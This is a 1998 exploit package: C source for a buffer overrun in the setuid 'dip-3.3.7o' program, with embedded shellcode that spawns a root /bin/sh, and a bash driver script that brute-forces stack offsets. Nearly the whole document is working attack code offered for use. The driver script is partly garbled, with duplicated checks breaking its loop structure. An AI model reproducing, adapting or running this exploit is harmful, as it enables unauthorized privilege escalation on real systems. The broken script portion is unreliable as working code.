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------------------------------ dipr.c ----------------------------- /* * dip-3.3.7o buffer overrun 07 May 1998 * * sintax: ./dipr <offset> * * * offset: try increments of 50 between 1500 and 3000 * * tested in linux with dip version 3.3.7o (slak 3.4). * * by zef and r00t @promisc.net * * http://www.promisc.net */ #include <stdio.h> #include <stdlib.h> static inline getesp() { __asm__(" movl %esp,%eax "); } main(int argc, char **argv) { int jump,i,n; unsigned long xaddr; char *cmd[5], buf[4096]; char code[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; jump=atoi(argv[1]); for (i=0;i<68;i++) buf[i]=0x41; for (n=0,i=68;i<113;i++) buf[i]=code[n++]; xaddr=getesp()+jump; buf[i]=xaddr & 0xff; buf[i+1]=(xaddr >> 8) & 0xff; buf[i+2]=(xaddr >> 16) & 0xff; buf[i+3]=(xaddr >> 24) & 0xff; buf[i+4]=xaddr & 0xff; buf[i+5]=(xaddr >> 8) & 0xff; buf[i+6]=(xaddr >> 16) & 0xff; buf[i+6]=(xaddr >> 16) & 0xff; buf[i+7]=(xaddr >> 24) & 0xff; cmd[0]=malloc(17); strcpy(cmd[0],"/sbin/dip-3.3.7o"); cmd[1]=malloc(3); strcpy(cmd[1],"-k"); cmd[2]=malloc(3); strcpy(cmd[2],"-l"); cmd[3]=buf; cmd[4]=NULL; execve(cmd[0],cmd,NULL); } ------------------------------- end ------------------------------- ---------------------------- dipr.test ---------------------------- #/bin/bash if [ ! -x /sbin/dip-3.3.7o ] then echo "could not find file \"/sbin/dip-3.3.7o\""; exit -1 fi if [ ! -u /sbin/dip-3.3.7o ] then echo "dip executable is not suid" exit -1 fi if [ ! -x ./dipr ] then echo "could not find file \"./dipr\""; echo "try compiling dipr.c" exit -1 fi x=2000 false while [ $x -lt 3000 -a $? -ne 0 ] fi if [ ! -u /sbin/dip-3.3.7o ] then echo "dip executable is not suid" exit -1 fi if [ ! -x ./dipr ] then echo "could not find file \"./dipr\""; echo "try compiling dipr.c" exit -1 fi x=2000 false while [ $x -lt 3000 -a $? -ne 0 ] do echo offset=$x x=$[x+50] ./dipr $x done rm -f core ------------------------------- end -------------------------------